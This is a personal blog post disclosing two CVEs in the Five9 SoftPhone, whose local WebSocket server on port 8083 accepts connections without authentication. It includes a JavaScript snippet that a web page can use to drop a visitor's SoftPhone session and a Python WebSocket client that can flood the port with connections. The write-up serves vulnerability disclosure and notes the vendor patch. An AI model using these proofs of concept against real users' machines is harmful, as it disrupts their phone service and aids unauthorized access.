top of page
Search
  • 0tKombo

Five9 DoS & WebSocket Access

Updated: Nov 1, 2018

The below comments are not the views of, nor are they endorsed by, my employer.


I have discovered 2 CVE's when working with Five9 SoftPhone:

CVE-2018-15508 - Denial of Service

CVE-2018-15509 - Incorrect Access Control into Remote Code Execution


TLDR; Five9 SoftPhone installs a WebServer on devices that accepts WebSocket connections without authentication or asking for identity. I worked with the vendor to get this patched on release 10.2.0.


The Five9 SoftPhone runs a web server on the endpoint it is installed on. This web server opens up port 8083, and provides no documentation on what this is for. We were able to find it as our vulnerability scanner was causing calls to get dropped whenever it scanned a device of an agent who was mid call. Upon inspecting the device as a call was dropped, we saw hundreds of open connections between our scanner and port 8083 on these devices. This leads us into CVE-2018-15508.


When you open a connection on a port 8083 to a device running the Five9 SoftPhone, it disconnects the connection between the SoftPhone, the browser extension and the Five9 servers. This can be easily exploited in a number of ways to deny the end user access to their SoftPhone. I created a proof of concept web based attack that will kill Five9 access for anyone visiting your site. I have shared this below, but have put it behind buttons so it does not run against you for loading this page. It is as simple as sending an empty GET request to port 8083 on the device. However, this can even be exploited remotely, if you have the ability to connect to the device on port 8083. This is highly likely if you are on the same network as the device, as Five9 requires this port to be open for it to function.

 

function DoS_F9(){

const Http = new XMLHttpRequest();

const url='http://localhost:8083/';

Http.open("GET", url);

Http.send();

Http.onreadystatechange=(e)=>{

console.log(Http.responseText)

}

}

 

Embedded HTML code for DoS proof of concept


 

Proof of Concept CVE-2018-15508


I continued to dig into this by sending that port different forms of requests to see what it was running. Side note for programmers: Ensure that you only provide error messages back when you have some form of debugging enabled. The errors that it delivered back with each request gave us a clue to what the next step is, thanks programmers: "Expected Upgrade request". This is also visible if you navigate to 'http://localhost:8083'. Now we know it's working with WebSockets.


I had never worked with these before, so I did some research and found some tutorial python code that formed WebSocket connections with a known host (Shout out to the tutorial code at: 'https://pypi.org/project/websocket-client/'). I modified this to connect to our friend 'localhost:8083', and what do you know. It sends back a happy response to us on the first try.

Not only have we formed the WebSocket connection at this point, we also now know the server and version it is running: Beast/1.0.0-b30. This post is specific to Five9, so I will not be sharing anything related to exploiting Beast.


I expected this part of the process to be far more difficult than it actually was. The DoS error showed us a failed certificate error, so I had assumed that there was some form of authentication or authorization. Yet, there is none in place in 2018.


At this point, we just send it tons of garbage to see what the server spits back out to us. Bad input closes the connection. I ended up cheating at this point and used RawCap to packet capture the localhost connection on port 8083 on a device that was working as intended. Another funny point here is that this traffic was not encrypted, despite their claims about a bad certificate being used to connect to port 8083 before.

Bad Input Closes the Communication


In these captures, we see all of their communications contained within 'chrome|{}'. So I take this back into the lab and try sending it to my test server. We are given the message 'chrome|{"error":"Missed messageId field","hostId":"","id":""}' This provides us with multiple pieces of important information. We can communicate with this service, we know we need to speak in JSON, we know the variables it expects and that this is built to be a connector for their chrome extensions (at least in my test environment). Once again, due to friendly error messages from their programmers. Thanks to you guys by the way. I wouldn't have found these without your helpful messages!



Five9 denied this was an issue on their side at first, and informed me that I wasn't as smart as their bigger customers; so I wouldn't be able to tell them anything that they hadn't already heard. Companies, if someone is reporting a security vulnerability to you, please at least give them the time of day. They don't need to share it with you. I'd say this counts double for companies that don't offer bug bounties.


However, they informed me they were going to fix the issue 2 months after contact and had it fixed 2 months after that in version 10.2.0. They never apologized, but I still appreciate them fixing an issue I brought to them. It makes my job easier and makes it safer for SoftPhone users. Just in case it's not as fixed as they claim, I will not be sharing the hidden wonders in their WebSocket library.


Stay safe out there and Hack responsibility!



P.S: Here is the badly edited Python code used to connect to their WebSocket. It worked well enough for testing. I told myself I would clean it up before posting, but that never happened. ¯\_(ツ)_/¯

 

##Code adapted From: https://pypi.org/project/websocket-client/


server = "127.0.0.1:8083"

crashWithWebSockets = False;


import websocket

try:

import thread

except ImportError:

import _thread as thread

import time


def on_message(ws, message):

print("Message Received: ");

print(message)


def on_error(ws, error):

print("Error: ");

print(error)


def on_close(ws):

print("### closed ###");


def on_open(ws):

def run(*args):

try:

#initialize message

message = ""

continueWhile = True; # keeps looping until this is false

while continueWhile == True:

if crashWithWebSockets == False:

message = input("Message to send to Five9 local websocket server: ");

time.sleep(1)

if message == exit:

continueWhile == False;

break;

ws.send(message)

time.sleep(5) #sleep to wait for requests

ws.close()

print("thread terminating...");

except websocket._exceptions.WebSocketConnectionClosedException:

print("ERROR: Thread was closed.");

thread.start_new_thread(run, ())


def createConnection():

websocket.enableTrace(True)

ws = websocket.WebSocketApp("ws://" + server,

on_message = on_message,

on_error = on_error,

on_close = on_close)

ws.on_open = on_open

ws.run_forever()


if __name__ == "__main__":

#Open the connection when run

if crashWithWebSockets == True:

for i in range (50):

createConnection();

else:

createConnection();

 

2,247 views0 comments
bottom of page